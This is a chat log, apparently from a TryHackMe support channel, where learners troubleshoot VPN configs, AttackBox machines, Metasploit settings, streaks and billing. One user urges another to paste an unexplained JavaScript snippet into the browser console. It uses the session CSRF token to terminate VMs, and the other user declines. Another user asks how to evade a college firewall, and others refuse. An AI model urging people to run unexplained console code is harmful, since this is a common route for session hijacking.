My 270 day streak just vanished even though I have an event each day and still had a 7 day streak freeze in the bank from Advent of Cyber. I'd very much like it back please.

My account name is "ouroboros3693"

[odd rose]

Not per se an issue, but more of a question. I remember reading that the top hacker of the month gets a prize/gift from THM, but I can't find that source anymore nor anything about this prize. Does anyone know more about this?

[gaunt idol]

Hello im having some issues running the enum4linux in terminal. getting a error kinda stuck where can i get some help

[void ridge]

What error are you getting?

[eager fulcrum]

This will need to be done via email: [e-mail]
Please keep your streak up in the meantime too, that will help

[fierce zealot]

Yeah, did that a few days ago to no reply.
Now I have some here and reddit in search of help.

[eager fulcrum]

Unfortunately, that won't help.
It's something that needs to be handled by support which is only provided via email.
They will get to you. If you hear nothing within a week, follow up your email.

[gaunt idol]

Warning: polenum.py is not in your path. Check that the package is installed and your path is sane.
Warning: ldapsearch is not in your path. Check that the package is installed and your path is sane.
im getting no results when trying to run command enum4linux -a machineip

[void ridge]

can you show me exactly how you are typing out the command? Do not include the IP though

[gaunt idol]

Sure enum4linux -a machineip

[void ridge]

I am not sure then. The only thing I can think is either the machine is not reachable or maybe your thm vpn has stopped. But even that should throw a error saying that it couldnt connect/find host.

[gaunt idol]

yeah im on the attackbox machine provided i have the sub as well so you would think its all ready to go however, maybe not.

i did try enum4linux -v ip as well as enum4linux -a ip -vv

non just a whole bunch of cant find workgroup/domain no reply from machine ip trying to do the enumeration smb task in the network services course

well im using the attack box machine ip.. the course doesnt give another and ive triple checked it. im going to terminate this box and launch another to see if maybe the old restart would do the trick lol keep you posted

ah maybe thats it......... oh lord. i didnt see the red banner with the machine ip so i was using the ip i was on... ok thanks lol

yeah that was it 100 percent. i got the data now.. thanks alot!

[marsh magnet]

@magic vortex have you tried a different VPN config for a different server?

[magic vortex]

yeah i just changed the conifg file

but i dont why its talking long time to connect

[sharp bison]

TryHackMe

Use our VPN troubleshooting script to diagnose common issues!

https://github.com/tryhackme/openvpn-troubleshooting

From TryHackMe with ❤!

[marsh magnet]

Run this

[magic vortex]

iam doing it right now

[Warning!] Connection process is taking longer than expected to complete

it gave me this

and the failed to connect

i will try another config file

its working good now

thanks

[split isle]

Hey I used to have an account with my token linked to it. I've deleted the account couple months ago. Is there a way to link my thm profile to this new one?

[naive dust]

If you ask a mod nicely when you see one.

[fallen brook]

I'm in the Task 6 of Network Services, Enumerating Telnet. I start the virtual machine, I wait like 20 minutes to finally start whit the task, but I can't scan the machine. I'm using THM AttackBox, scanning the machine whit nmap -sV IP Addres, but just response All 1000 scanned ports on... are closed. I think is the machine because I can scan another one and it respond whit some port open. I try to restart the test machine, the THM AttackBox, I try scan by connecting me by the VPN, but noting changes.

[neat plank]

try nmap -sV -sC -p- IP

[analog salmon]

Hi there, I am trying to use my college wifi to connect to openvpn for accessing attackbox, but it is not working because of restrictions from the college firewall. Only ports 22 443 and 541 are open. Is there anything that I can do? I they are blocking vpn's.

@sharp bison

[gritty junco]

tun0 the same one I get when I do 10.10.10.10 on my web browser

[wheat zealot]

i cant start the machine in Nmap room https://tryhackme.com/room/furthernmap#

[naive dust]

is there any error message ?

[wheat zealot]

wait i check the webconsole

[naive dust]

fetch('/api/vm/running')
.then(r => r.json())
.then(vms =>
vms.forEach(vm =>
fetch('/api/vm/terminate', {
method: 'POST',
body: JSON.stringify({ code: vm.roomId }),
headers: {
'csrf-token': csrfToken,
'Content-Type': 'application/json'
}
})
)
)

[zealous radish]

Any idea what domain I need to allow through ublock origin not to get the "captcha failed" error on login

[naive dust]

try this

[naive dust]

go to console

copy paste this code

[zealous radish]

I figured it out, it was gstatic

[wheat zealot]

no error message there that specify on the deploy thing.

[naive dust]

have you done this code @wheat zealot ?

[wheat zealot]

since i dont know what this does and u are not listed on the MOD or THM STAFF i will not do this without any explanation about it.

[naive dust]

well.. i saw this code from Ben but its okay 😄

[naive dust]

#site-support message

[wheat zealot]

ty @naive dust

[scenic torrent]

Gave +1 Rep to @lament valve

[naive dust]

i was getting ready to post this

[naive dust]

same thing you can check 😄

also thx @naive dust he sent me this

[scenic torrent]

Gave +1 Rep to @lament valve

[wheat zealot]

still cant connect

i mean, the I frame wont pop out

ofc. i restarted my broweser - i have addblock disabled

[bronze vale]

Does this happen on every machine or just that one?

[wheat zealot]

just that one

[quasi whale]

hi guys 🙂 I would like to set my scope in burpsuite so that it doesn't only capture traffic from gitlab.com, but also about.gitlab.com and similar URLs. How can I do this?

[analog salmon]

Hi there, I am trying to use my college wifi to connect to openvpn for accessing attackbox, but it is not working because of restrictions from the college firewall. Only ports 22 443 and 541 are open. Is there anything that I can do? I they are blocking vpn's.

[naive dust]

No, there is nothing you can do.

Except ask the ICT nicely if they can let you use it.

[wheat zealot]

@analog salmon i know its kinda different but u could use a external system that is reachable with a console or vnc service

like when u have a vps hosted anywhere

just use your vps to connect with thm vpn

[analog salmon]

@wheat zealot any other solution? Can we redirect the openvpn traffic through port 443? because it is open in the router

[naive dust]

If your college is blocking the port the openVPN uses, you should respect it.

[eager fulcrum]

Talk to IT. Asking for help skirting the restrictions they put in place is at best unethical and at worst illegal.

[wheat zealot]

as @eager fulcrum said.

[naive dust]

#site-support message

So pretty much what I said earlier?

[zealous yoke]

Yes

[wheat zealot]

yes

[proper coral]

Hello everyone, i have a problem with TRM website that it's not showing images, any idea about why is this happening?

I am using Microsoft edge if you are wondering

[wheat zealot]

@proper coral do u use something like a pihole, proxy? maybe any addblockers and stuff?

[proper coral]

yeah abblocks

[wheat zealot]

have u tried dissabling it and reload?

[proper coral]

yeah and still same problem

[crystal marlin]

Which room and task?

[proper coral]

owasp top 10 all tasks, actually i had same problem in other rooms

[crystal marlin]

What's the error you get in the dev tools console ?

[proper coral]

Images must have alternate text: Element has no title attribute

[crystal marlin]

Show a screenshot of the console errors pls

[crystal marlin]

The stuff on the bottom are just warnings, so could be ignored. The important ones are above, are the above all 429 errors, as it seems the list is quite long ? Are you using any personal VPN ? Have you tried a different browser already ?

[proper coral]

I tried other browser but same problem, for VPN no i don't

[crystal marlin]

You missed answering a question, are these all 429 errors or are there any other, as it's quite a long list ? Beside that, try to clear your browser cache to see if that changes anything.

[proper coral]

These are all the errors, i actually cleared all cache few mins before

[zealous radish]

When trying to subscribe, why can't I delete previously saved payment details?

[naive dust]

I was able to? I'm sure, I removed them and used a voucher.

[zealous radish]

so when I go to subscribe I got saved details but only the option to add new ones or use the old ones but no way to remove the old saved ones, maybe I'm dense

[crystal marlin]

If you check your previous received sub purchase emails, there should be a link to a sub management page at the bottom of the email, I think you can do that there

[zealous radish]

thanks, will try that

[naive dust]

@sand olive

[sand olive]

Yeeted

[radiant sail]

Can someone help me with a vpn issue. I asked yesterday and didn't get a reply

[naive dust]

What's up?

[radiant sail]

I can ping and nmap, and do other terminal stuff on rooms...but visiting the room websites (room web servers) buffers a long time and sometimes doesnt load at all

[naive dust]

I don't think that is happening to just you.

Have you tired using a different server?

[radiant sail]

Yes tried many servers...and I saw someone else complaining about the same issue a few days ago as well

Is this an issue the admins are aware of ?

[naive dust]

I don't know. I think a minority is reporting it.

[radiant sail]

It only happens on tryhackme, hackhebox ovpn works fine for me...is there a way to find out if they are fixing this issue or not? I don't want to keep subscribing every month if this isnt getting fixed tbh

[naive dust]

You could email support and ask?

[e-mail]

[radiant sail]

Great thanks, I will do that

[celest wadi]

Lame!!
!email

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[naive dust]

HAHA

2nd time lucky.

[celest wadi]

Yeh yeh, laugh it up

[gritty junco]

hello there, I need your help. I've got an issue with my machine: nc and wget never work, I can ping my machine but when I've got to receive a shell or get smtg from http.server it's impossible. I always have to start my THM AttackBox to be able to do so. I use THM VPN and wlan0

[gritty junco]

yes i'm using my own machine and openvpn

[crystal marlin]

How do you ping your own machine ? With another machine ?

[gritty junco]

imagine I want to upload a reverse shell, I put my wlan0 ip and nc to recieve it but it's not working

but if I do the exact same step on an AttackBox it works

[crystal marlin]

You have to use your tun0 IP, not your wlan0 IP. Do you have a tun0 interface ?

So by checking ip a s do you see a tun0 interface?

[gritty junco]

ok nevermind wanted to say tun0 instead of wlan0

but I put my 10.XX.XX.XX address related to THM

[crystal marlin]

Okay, so the IP you put there, does it match your tun0 IP when checking ip a s ?

[gritty junco]

I always put this one

[crystal marlin]

Okay, do you only see a tun0 interface or any extra like tun1, tun2 etc. ?

[gritty junco]

no extra

[crystal marlin]

If you check sudo ufw status whats the reply you get ?

[crystal marlin]

Okay, and what port are you using for your rev shell? But I guess you can not receive any connection because of that firewall

[gritty junco]

port 1234

or 4321

[celest wadi]

Damn, nice troubleshooting skills

[crystal marlin]

Okay, well then obviously you can not receive any on that port when it's not in your allow list

[celest wadi]

+rep

[scenic torrent]

Gave +1 Rep to @crystal marlin

[gritty junco]

where can I whitelist my ports?

[celest wadi]

Sudo ufw allow 1234

[gritty junco]

thanks!

[scenic torrent]

Gave +1 Rep to @celest wadi

[gritty junco]

massive thanks!!

[gritty junco]

+rep

[crystal marlin]

It's ok don't worry, I already got rep from Zeeshan 🙂

[gritty junco]

I owe you one haha!

[magic vortex]

can someone help me with a reverse shell problem

[celest wadi]

https://dontasktoask.com

[thorny sage]

class Name:
  def __init__(self, name):
    self.name = name
  def run(self):
    print('My name is', self.name, 'and i am', end =' ')

class Age:
  def __init__(self, age):
    self.age = age
  def run(self):
    print(self.age, 'years old')

def profile(i):
  for item in i:
    item.run()

list = [Name('Paul'), Age(52), Name('Rob'), Age(34)]
profile(list) ```
considering this code as an example, how could i have an output with just one item from the list?
Something like: `prompt = input('Search for a name: ')` and then just get Paul or Rob out only

[naive dust]

Homework?

[magic vortex]

i wanna share my screen to show something
having a problem i wonder if someone could know how to fix it

[naive dust]

Did nobody answer you in plotted?

Try Tech support.

Oh wait.

This is tech support.

[magic vortex]

xD

its a openvpn problem again

at first i thought its something wrong with the room

then i found that its openvpn problem again

someone gave me a trouble shooting script

but same

its taking long time to connect and keep disconnecting

and sometimes the pinging on a machine it doesnt ping

so??

any ideas?

[celest wadi]

Yeh, you might have two openvpn connections

Check ip a, there should only be tun0 and no tun1

[magic vortex]

well there wasnt but now there is

i downloaded many conifg files

to try make something work

[celest wadi]

ip link set dev tun0 mtu 1200 Should solve any on of those issues

[magic vortex]

i will kill all and turn all down

and delete my config file

and download a new one

i hope it work

[naive dust]

possibly try a different server

[magic vortex]

did that xD but still the same

[foggy olive]

Not sure if this is the correct channel. I had just subscribed to Premium, money came out of my account. However, my account was not upgraded to premium?

[crystal marlin]

Something to reach out to the support via email

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[foggy olive]

Thank you

[royal cedar]

So, I've been having an issue with the VPN. Maybe it's my key. Not sure.

[crystal marlin]

Show a screenshot of your openvpn output when trying to connect

[naive dust]

hi im working on the uploadvulns.thm room the challenge and its buggy

i did everything in the walkthrough and it wasnt executing my payload so i restarted the vm

now it doesnt give me an upload prompt when i press the upload file button

is the machine broken?

[fallen brook]

ohhh... right. My bad, thank you.

[scenic torrent]

Gave +1 Rep to @neat plank

[naive dust]

i think theres something wrong w the uploadvulns challenge webpage room, jewel.uploadvulns.thm

i restarted the machine twice now and navigated to the webpage and clicked the select and upload button and it gives me nothing.

i made sure that intercept was off in burpsuite

Did you run the command to revert the hosts?

[naive dust]

Room definitely isn't broken.

@naive dust

i swear god is messing w me

https://tenor.com/view/angry-kid-vine-table-tantrums-gif-9382123

its like god dont want me to finish this room wtf

[halcyon monolith]

Hi, It seems there is an issue with Yearly Activity dashboard. I answered questions for different rooms but the numbers are not increasing/counting.
Can anyone take a look, please? It is not just me and it was reported in the #site-bugs by another user.

[frigid dome]

Answer the questions below

• 15
  Follow the steps in this task. What is the flag text shown on the website of the machine you started on this task?
  A flag is just a piece of text that's used to verify you've performed a certain action. In security challenges, users are asked to find flags to prove that they've successfully hacked a machine . help me please

[light skiff]

The image in Task 4 of Network Services room could not be loaded. Someone passed for this ?

[misty kiln]

for some reason US-west-regular-1 is not working for me. US-east and EU-Regular work fine. Anyone else experiencing the same issue?
Here's the message I get when I try to connect to US-west-regular-1

Fri Feb 25 00:51:04 2022 OpenVPN 2.4.7 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [MH/PKTINFO] [AEAD] built on Nov  5 2021
Fri Feb 25 00:51:04 2022 library versions: OpenSSL 1.1.1l  24 Aug 2021, LZO 2.10
Fri Feb 25 00:51:04 2022 OpenSSL: error:0909006C:PEM routines:get_name:no start line
Fri Feb 25 00:51:04 2022 OpenSSL: error:140AD009:SSL routines:SSL_CTX_use_certificate_file:PEM lib
Fri Feb 25 00:51:04 2022 Cannot load inline certificate file
Fri Feb 25 00:51:04 2022 Exiting due to fatal error

[sacred pivot]

[eager fulcrum]

That's specifically your config file being incorrectly generated.
Click regenerate with the US west server selected and wait two minutes, then download the new config file and try again.

[willow rapids]

Hi! Having an issue loading the Windows instance in Task 6 for "MAL: Malware Introductory". (https://tryhackme.com/room/malmalintroductory5f) This is an assignment for school if anybody can help resolve.

[shy thorn]

What’s happening when you start the machine?

[drowsy heart]

my tryhackme activity has been messing up. someone tried to fix it but my streaks are stuck on 29 and my activity isn't showing up for 4 days.

[naive dust]

This is ongoing issue, it started happening to me since 17/2. They'll fix it soon, no worries. Activity might not show up but day streak will not be discontinued.

[drowsy heart]

my streaks were reset and then I emailed them but now my activity is missing and they gave me the streaks back

[fast aspen]

[wanton beacon]

How long does it take for me to create a THM room and make it public?🙂

[livid juniper]

after loading it got stuck here any solution

[celest wadi]

how long has it been stuck like this?

[livid juniper]

for like 10 min

[celest wadi]

best thing/only thing is to restart,

[livid juniper]

I did that 3 times

[celest wadi]

hold down power button for 10 secs and it'll power off

[livid juniper]

im using vmware workstation

[celest wadi]

oh, it's a vm, pretty easy fix then

just reload everything

¯_(ツ)_/¯

[livid juniper]

already done 3 times

its pretty sad part now it was working fine like 12 hrs ago

[celest wadi]

maybe, you're making a mistake in your setup

are you following a tutorial or something?

[livid juniper]

npoee

[willow rapids]

When you hit the Start Machine button, nothing happens. I don’t get a machine IP at ll. I’ve let it sit for 10-15 minutes on multiple occasions, no IP still.

[livid juniper]

I open kali daily and never it shows this

[celest wadi]

this kind of stuff happened to me when I make/move/delete partitions

[livid juniper]

Never did that till now

[celest wadi]

best to follow a proper tutorial and start from the scratch up

[livid juniper]

woah damnn it

and is there any way to take my data back?

I just need one folder

[celest wadi]

well, there might be, but

it's likely too hard/impractical,
if this was a physical hard drive you could boot up into a live os from bootable usb and recover it but for vms I don't know any method

[livid juniper]

Ohkauu bro thankss

I'll try to look around

[celest wadi]

Good luck!

[broken bear]

You can use the same method - either boot to recovery mode in GRUB or use a liveUSB with hardware passthrough. You can recover any unencrypted drives with chroot. Depending on how a drive is encrypted (if it's encrypted), you can also unlock the drive with the built-in TPM/bios tool or unlock it with one of the LVM tools.

[livid juniper]

I can login via tty shell

[celest wadi]

Nice, never thought of using it for VMs, I just use 'em temporarily so the're easily replacable

[broken bear]

sounds like your display manager is broken. the logs might be more descriptive, but you are going to have to do a lot of googling. Root cause for hanging at that screen is going to be impossible for us to diagnose over chat.

[livid juniper]

Ohh damnn

[split forum]

Hello

[keen scroll]

I shouldn't be posting here but it's just one message 😅
Try to get to a console Ctrl + Alt + Fx - F2or F3
Start SSH server, scp your directory

[split forum]

How can I use g drive as swap space

??

Any way

[keen scroll]

You may discuss it in other general discussion channels - #general or #infosec-general
Don't use Google Drive as Swap, it will be very slow for what it is used for
EDIT: G: drive?👀

[split forum]

Ohk sir, but I will be better in rendering things or doing things when ram is full

[celest wadi]

while you're here, I saw you were posting about CSP, have you completed https://tryhackme.com/room/csp ,

[humble halo]

How come metasploit room just loads endlessly ?

yes like 50 times

also ctrl+f5, incognito, waiting etc

Not on my windows machine

it's just stuck like this

Every other room is fine

[naive dust]

What's the link? I can try.

[keen bane]

Seems like there's a visual bug with machine expiry. I extended my machine, but once it went past the original time, a message came up saying it had expired. I can no longer see the machine's IP and I have the option to deploy it again,. however, my Meterpreter session (via Attackbox) is still live and I can still interact with the box

[humble halo]

https://tryhackme.com/room/rpmetasploit

[naive dust]

Loaded for me.

Straight away

[crystal marlin]

Are you using any personal VPN or a Pi-Hole ? As in case you do, that most likely blocks a certain js file that can cause that issue.

[livid juniper]

Not working

I did the ssh server

[keen scroll]

We should move to #infosec-general 😄

[livid juniper]

I did in putty and psftp

Okk

[scarlet matrix]

when im trying to sent an commmand in an ftp server im just getting the message "229 Entering Extended Passive Mode" after like 5 minutes it responds, how can i fix this?

This is the response

ftp: Can't connect to `10.10.179.191:55268': Connection timed out
200 EPRT command successful. Consider using EPSV.

[crystal marlin]

What command are you using to connect to the FTP ?

[scarlet matrix]

just # ftp ip

[crystal marlin]

Reconnect to the ftp, then enter passive that should turn off passive mode

[scarlet matrix]

thanks! that fixed it

[mystic cape]

Hello can anyone help me with canceling my sub lol? I created a new account and can’t remember what it is for the life of me and im constantly being charged.

[naive dust]

!docs support

[sharp bison]

TryHackMe

That topic does not exist!

Use !docs to list all of the available topics.

From TryHackMe with ❤!

[naive dust]

You'll need to contact support for that.

[mystic cape]

Okay how do I contact them?

Is there an email?

[naive dust]

!docs email

[sharp bison]

TryHackMe

That topic does not exist!

Use !docs to list all of the available topics.

From TryHackMe with ❤!

[naive dust]

[e-mail]

[mystic burrow]

Hi everyone, a little confused with the LHOST and RHOST IP settings when using metasploit. (specifically talking about Network Services 2 room). There seems to be no instructions of what IPs to use for LHOST and RHOST. The only two IP addresses I have access to through THM are the "active machine" and my openVPN IP. Which one do I set as LHOST and RHOST respectfully? I worked through the room pretty well but am not getting username for Task 6.

[naive dust]

RHOST is the target machine.

LHOST is your ip.

So in this case ifconfig and it's your eth0

So if the machine is 10.10.123.123
and your Eth0 is 10.10.255.255

RHOST is 10.10.123.123
Lhost is 10.10.255.255

[mystic burrow]

Eth0 = my IP address via OPENvpn?

[naive dust]

Yeah

[turbid ferry]

tun0 should be your openvpn ip

[mystic burrow]

Awesome, thank you both

[naive dust]

tun0 and eht0 are one in the same if you're using the attackbox.

[mystic burrow]

I am using a kali VM, it shoud not make a differnce as long as I am connect via openVPN?

[turbid ferry]

they were mentioning openvpn so it's tun0

you need to use the thm networks ip, so on your own vm that should be tun0

if you would use your local network address (eth0) it won't work

[naive dust]

Good catch.

Principle is still the same though.

[turbid ferry]

on the attack box it would be the eth0, because it already is in the thm network

[light skiff]

🤔

[mild frost]

Hello - I was wondering if there is a way to see the rooms i've joined without having to go to search for them? Thanks!

[naive dust]

https://tryhackme.com/rooms

[mild frost]

hmm, i'm getting a 'bad gateway' error onthat one D:

now its loaded, tansk!

[scenic torrent]

Gave +1 Rep to @lament valve

[misty kiln]

that didn't work

[ocean gate]

Getting really slow ping times right now on Brainstorm box

(like, 100% packet loss)

I understand the the box may reject ICMP, but ls on the ftp server hangs

[crystal marlin]

Hangs, what if you wait, what's the reply you get ?

[sudden badger]

does anyone here use THM on an unrooted anrdoid phone? I'm having trouble with it on my UserLAnd app

[lapis brook]

Hey everyone, I just finished the pre-security lp, and my certificate even if I provide my full name when I generate it came out as undefined. Appreciate the help

[hollow hill]

anyone know why the embedded browser initialization fails in burp suite repeater?

i have sandbox enabled

when i run the embedded browser health check i get this

[mystic burrow]

Not sure what I am doing wrong in Metasploit:Explotation room specifically Task 5. I am adding the RHOST and LHOST (tun0 and running the exploit..it tries to create a session but keeps failing. The last line is "exploit complete, but no session was created." I am seeing this is pretty common issue but cannot find a solution.

[analog flower]

I'm having problems connecting to machines. When I connect to the vpn I can access 10.10.10.10

but no machine responds to pings

My tun0 is fine, I've yet to try other vpn servers tho so I'll see if that help

nevermind disregard, regenerating fixed it 😅

[loud marsh]

I am still getting a fatal error when VMWare Kali tries to connect to openvpn

[naive dust]

Can anyone reset .53.xxx network in throwback

some little asshole changed the ssh password

[royal cedar]

I figured it out, I was connected to another VPN and forgot to drop that one before connecting to THM. Thank you for the support though.

[scenic torrent]

Gave +1 Rep to @crystal marlin

[ocean gate]

Unable to ls files in FTP on brainstorm machine:

└─$ ftp brainstorm.thm        
Connected to brainstorm.thm.
220 Microsoft FTP Service
Name (brainstorm.thm:kali): Anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49349|)
<hangs>

[proud sky]

Guys, Any idea why the machines I spin up become un-pingable for a short while?

I've been facing this so much in the CMSpit machine. It just goes unpingable for a period of 60 seconds or so

Whatever Rev-shell I have crashes at that point

[crystal marlin]

Reconnect to the ftp, then enter passive to disable passive mode, after that you should be able to run commands as usual

[fading saddle]

hey I renewed my subscription but its still showing im not subscribed. what should i do?

[zealous yoke]

Hi! Reach out to support and they'll be able to make it right etc (:

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[zealous yoke]

Provide proof of payment like a receipt (you should get an email from THM but if you paid through something like paypal that should work too -- they'll let you know if they need anything more) 👍

[valid rover]

Don't think its a big deal

but isnt this a grammar error?

shouldn't it be a page instead?

its in the cross site scripting room

[scenic torrent]

Gave +1 Rep to @valid rover

[zealous yoke]

Fixed thanks for reporting ((:

[magic tapir]

my 15 day streak is going to end today

😦 @sharp bison

[shy thorn]

Try submitting a question with no answer or doing an offline / split screen room. You could also use the attack box for one room.

[fast sun]

Hi, I answered some questions and my activity tile says 0 events...

Ah... tried starting a machine and now got 1 event count. This is strange... Does it mean I will lose my streak if I don't start a VM every day?

[magic tapir]

But for 1 hour only per day

[shy thorn]

so submit a question without an answer needed

[zenith geyser]

someone here probably has a better answer than me

[hot ridge]

I have the wierdest problem with my Kali Linux

whenever I go to type the command rm -d /tmp/mount it stops on the last "t" of mount and freezes the terminal

This happens for every command with /tmp/mount

cd /tmp/mount

even when going into the file browser and typing /tmp/mount it freezes the file browser

freezes the terminal

cant type the last "t"

I'm writing it all manually

yes

I could just shut down and come back because it's in the tmp directory and it would be removed, but I want to know why this happens

Oh this would probably explain it, thank you

[scenic torrent]

Gave +1 Rep to @gray loom

[hot ridge]

problem is when I want to type unmount /tmp/mount it freezes😂

I will just have to restart my kali, but I'll have to remember to unmount before closing the connection.

thankfully I put it into tmp

[livid bough]

Hi everyone :), I've just upgraded to premium for one month and had my credit card charged, but in the website it still has the "Go Premium" green button next to my Avatar

I tried logging off and signing back in

didn't fix it, any suggestions?

[naive dust]

If you were charged, contact [e-mail]

you should get an E-mail as receipt.

[livid bough]

Thanks for the help @naive dust

[scenic torrent]

Gave +1 Rep to @lament valve

[magic tapir]

isn't thier any fix

[forest yoke]

guys

I have a problem with Kali

buttons are terribly small

[naive dust]

your vm? increase the size.

[forest yoke]

how?

[forest yoke]

yes, virtualbox

[naive dust]

Right click on the desktop, click desktop settings then hit icon size.

[forest yoke]

oh wait

not in that sense

the icons on the panel

like the "x" to close a tab

[celest wadi]

a picture*

[forest yoke]

The X is so small you can't even see it

[forest yoke]

if I take a screenshot it saves it on kali

[naive dust]

Use the snip tool

[forest yoke]

I'm sorry

[celest wadi]

windows+shift+s takes a snip

:)

[forest yoke]

I am on Ubuntu

[naive dust]

You have a Kali VM on an ubuntu os?

[celest wadi]

RIGHTT?!

[forest yoke]

yes

[celest wadi]

kali is debian based like ubuntu

everything that works on kali will work on ubuntu

just not pre-installed like in kali

[naive dust]

I mean, it's one way to do it.

[forest yoke]

see

the icons in the panel

and "file" "actions" and so on

[magic tapir]

anyone from india which vpn server to use?

[celest wadi]

there might be something in settings manager-> themes , not sure tho

[forest yoke]

no

appareance

[turbid ferry]

on appearance settings there is option for window scaling

[forest yoke]

yes

I selected twice the size

but the problem persists

[naive dust]

hi i'm trying to change my full name in my profile section but everytime i click on apply changes it shows "undefined" instead of my full name. how can i fix it? thanx

[viscid scarab]

Is there an easier way to download files in attack boxes, everytime I go to the room in the attack box the whole machine collapses on itself and can't expand it

[eager fulcrum]

Unfortunately not yet

Personally, I'd connect to the VPN from my machine and SCP the files over

[keen scroll]

We shouldn't be discussing this in this channel, it's for the site and VPN
You could try to increase the system-wide font size or scale to 125% or above

[terse compass]

hi, I'm trying for 5 hours to log in into the timekeep server of throwback lab. did something change on that server ? i could log in easy yesterday and now the same credentials doesnt work

[dusk nymph]

what's up, everyone? i've been working on the wreath network room and the git-server + personal pc have both been down for two days. the network finally got voted to reset last night but i'm still unable to access the git-server today to use evil-winrm. i'm unable to ping the git server or personal pc but the production server is still online and responding to pings. i've tried using my own kali vm and the attackbox and neither work. any help would be greatly appreciated. thanks.

[thorny wave]

The image won't load. Is it because of my internet connection or the website?

@gray loom I'm not

I was trying on both host & virtual machine

this https://image.flaticon.com/icons/svg/2879/2879093.svg

like this?

yes, Network Services room Task 3

Okayy

[crisp sleet]

I'm not showing any questions answered on my dashboard

[shell canyon]

hey everyone, I've used THM on my microsoft box for a while. I've installed ubuntu on an old laptop and tried to connect to the vpn but I can't seem to get webpages to load. I've tried to ping 8.8.8.8 and I'm getting stuff back. If anyone has an idea what's happening, that would be great 🙂

I installed network-manager-openvpn to manage the config file

[celest wadi]

curl 10.10.10.10/whoami should give u ur ip assuming you're properly connected to openvpn

remember you have to run openvpn with *sudo*

[shell canyon]

I'm getting something back

but I'm not using the cli to run the config file, I'm using network-manager.

Should I use the cli instead?

[celest wadi]

uhh, personally I'll suggest using the cli

you'll have less errors

[shell canyon]

I'll try it

[celest wadi]

remember sudo

sudo openvpn <username>.ovpn

[shell canyon]

alright, works great

Thanks man @celest wadi

[scenic torrent]

Gave +1 Rep to @celest wadi

[severe cape]

hi guys i want to deploy a magento server, can anyone help
i have installed it but it is showing 403 page in nginx

[umbral delta]

Hi guys

[severe cape]

hi

[umbral delta]

i just finished the pre security path and i downloaded the certicate, i realized that in first place i didn't put my name in the account so the name in the certificate is "undefined".

[severe cape]

go to your profile and update your name

[umbral delta]

already did it

still in that way

i also closed the browser

[hard quest]

how do i relink my discord account to a new profile in tryhackme?

[umbral delta]

i guess just change email

[severe cape]

in profile

[hard quest]

do i need to unlink it somehow?

cuz i made a new profile, just tryna get this same discord profile attached to the new one

[severe cape]

no

you can go about me and add

sorry other

[hard quest]

yeah but when i message the bot !verify it just says the message hasn't been delivered

[umbral delta]

yo i just verified mine

i got this message "You are now verified, you cannot unlink or relink any of your accounts for security reasons. Please contact the TryHackMe Admins or Mods if you need to change one of your accounts."

i think you are not allow to change it !

u gotta talk with the admins

[hard quest]

ah alright

any mods or admins willing to help me out on this question?

[umbral delta]

i think my certicate is fucked up ahahah

i think i gotta speak with the staff too.

Pleas contact me when u see this. I really wanna fix this thing.

[main creek]

Yesterday I was very — very — late with answering a question, now my hacking streak has been reset.
Could this be a timezone issue perhaps? Man I was on a good streak, now I have to start all over 😦

Thanks!

[balmy trout]

Hi, I am pretty new to THM. I'm having trouble maintaing a stable connection to a THM room from my VM. The connection resets every 2-3 minutes. It's seems obviously server side, since I can access the internet otherwise from within and without the VM. Does anyone have advice, or recommend who I can reach out to at THM?

[neat plank]

Did you try to install another .ovpn file which is another server?

[balmy trout]

Thanks for the reply. I did download another ovpn file, and the connection seems stable for most boxes. I am testing out the CTF I've been working on to make certain its not box specific

[scenic torrent]

Gave +1 Rep to @neat plank

[neat plank]

Ok, make sure you run it with sudo

[balmy trout]

I did, unfortunately the new config file did not help

It's really only an issue with one room

[crystal marlin]

What room are you doing ?

[forest yoke]

where do I find the scale

You mean window scaling

I already set it to x2

[forest yoke]

nothing changed

[compact grove]

so I bought a voucher for a year subscription to the site for someone ..... how do they redeem it once I send them the code?

[naive dust]

In their profile.

[balmy trout]

hey thanks, the issue was on my side...I had a 2nd connection open with OpenVPN on another device 🤦🏼‍♀️

[scenic torrent]

Gave +1 Rep to @crystal marlin

[gleaming current]

Can anyone here help me with some python home work?

[boreal panther]

https://tryhackme.com/room/wreath
The gitstack server isn't accepting traffic. Not browser or ping. Nmap say host is up and ports are open. /etc/hosts is updated, no proxy being used. Any ideas?

[eager fulcrum]

Please don't ask the same question over several channels like that

[boreal panther]

Sorry. I'm new at this

[dusk nymph]

i've been having this same issue for 3 days even after a reset of the network

[dusk nymph]

i figured out my problem was that i didn't restart sshuttle after the network was reset. git server is accessible for me now

[boreal panther]

Same here! Thank you

[scenic torrent]

Gave +1 Rep to @dusk nymph

[unique oak]

Is it me or is the local file inclusion room insanely difficulty for a beginner? lol

Its doable about 50% of the way but I really think that room should be shoved more on the advanced area. Its in the Jr. pentesting area and its great that I learned how to host a web server with python; but jeez man lol... I gave up on the final two challenge questions since I do NOT have anywhere near the knowledge to understand what the hell the guy in the video was discussing either.

Seems to be a a "well known" room. Not to say its bad; just I think the placing isn't right for a complete newbie.